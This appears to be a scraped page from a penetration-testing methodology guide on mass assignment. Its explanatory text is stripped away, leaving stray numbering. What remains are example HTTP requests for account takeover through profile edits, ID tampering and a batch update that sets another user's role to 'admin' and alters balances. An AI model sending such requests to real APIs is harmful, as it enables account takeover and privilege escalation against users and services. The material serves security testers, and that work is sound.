Mass Assignment
Check List
Methodology
Black Box
HTTP Method Override (PUT) in User APIs
1
2
3
4
5
6
7
8
9
1
2
3
POST /api/pcsx/profile_edit HTTP/2
Host: example.com
Accept: application/json, text/plain,
{
"op_section": "basic_info",
"operation": "edit",
"op_data": {
"value": {
"firstname": "Test",
"lastname": "1",
"phone": "+2010********",
"location": "anywhere",
"email": "user@gmail.com"
}
}
}4
POST /api/pcsx/profile_edit HTTP/2
Host: example.com
ccept: application/json, text/plain, /
{"op_section": "basic_info",
"operation": "edit",
"op_data": {
"value": {
"firstname": "victim",
"lastname": "1",
"phone": "+2010********",
"location": "anywhere",
"email": "victim@gmail.com"
}
}
}5
6
HTTP/2 200 OK
Content-Type: application/json
{
"data": {
"avatar": "",
"fullname": "Victim 1",
"firstname": "Victim",
"lastname": "1",
"email": "victim@gmail.com",
"location": "anywhere",
"phone": "+2010********",
}
}7
Parameter Tampering
1
2
3
POST /api/add
{
"user": {
"name": "John",
"email": "john@example.com"
}
}{ "id": 100, "user": { "id": 100, "name": "John" } }4
{
"patient": {
"id": 999999,
"firstName": "Test",
"phone": "123456"
}
}5
{ "patientId": 999999, "patient": { "id": 999999 } }6
{ "user": { "id": 1000000000, "name": "Skip" } }7
{ "item": { "id": 1e99, "title": "Test" } }{ "error": "Value out of range. Max: 9223372036854775807" }8
{ "device": { "id": 9223372036854775807, "name": "Last" } }9
Insecure Batch API Processing
1
2
3
PATCH /api/v1/users/batch
[
{
"id": 1001,
"operation": "update",
"body": { "email": "test@legit.com" }
}
]4
[{ "id": 1001, "status": "success" }]5
[
{
"id": 1001,
"operation": "update",
"body": { "email": "hacked1@evil.com", "balance": 10000 }
},
{
"id": 1002,
"operation": "update",
"body": { "email": "hacked2@evil.com", "role": "admin" }
}
]6
[{ "status": "success" }, { "status": "success" }]7
Mass-Assignment Led To Stored-XSS
1
2
3
4
5
6
7
White Box
Cheat Sheet
Last updated